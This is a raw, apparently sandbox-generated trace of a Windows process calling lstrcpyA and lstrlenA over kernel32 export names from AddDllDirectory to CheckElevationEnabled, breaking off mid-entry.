[0147.494] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0147.494] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0147.494] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0147.494] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0147.494] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0147.494] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0147.494] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0147.494] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0147.494] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0147.494] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0147.495] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0147.495] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0147.495] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0147.495] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0147.495] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0147.495] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0147.495] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0147.495] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0147.495] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0147.495] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0147.495] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0147.495] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0147.495] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0147.495] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0147.495] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0147.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0147.495] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0147.496] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0147.496] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0147.496] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0147.496] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0147.496] lstrlenA (lpString="BACKUPREAD") returned 10 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0147.496] lstrlenA (lpString="BACKUPSEEK") returned 10 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0147.496] lstrlenA (lpString="BACKUPWRITE") returned 11 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0147.496] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0147.496] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0147.496] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0147.496] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0147.496] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0147.496] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0147.496] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0147.496] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0147.496] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0147.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0147.497] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0147.497] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0147.497] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0147.497] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0147.497] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0147.497] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0147.497] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0147.497] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0147.497] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0147.497] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0147.497] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0147.497] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0147.497] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0147.497] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0147.497] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0147.497] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0147.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0147.498] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0147.498] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0147.498] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0147.498] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0147.498] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0147.498] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0147.498] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0147.498] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0147.498] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0147.498] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0147.498] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0147.498] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0147.498] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0147.498] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0147.498] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0147.498] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0147.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0147.499] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0147.499] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0147.499] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0147.499] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0147.499] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0147.499] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0147.499] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0147.499] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0147.499] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0147.499] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0147.499] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0147.499] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0147.499] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0147.499] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0147.499] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0147.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0147.499] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0147.500] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0147.500] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0147.500] lstrlenA (lpString="BEEP") returned 4 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0147.500] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0147.500] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0147.500] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0147.500] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0147.500] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0147.500] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0147.500] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0147.500] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0147.500] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0147.500] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0147.500] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0147.500] lstrlenA (lpString="CANCELIO") returned 8 [0147.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0147.501] lstrlenA (lpString="CANCELIOEX") returned 10 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0147.501] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0147.501] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0147.501] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0147.501] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0147.501] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0147.501] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0147.501] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0147.501] lstrlenA (lpString="CHECKELEVATION") returned 14 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0147.501] lstrlenA 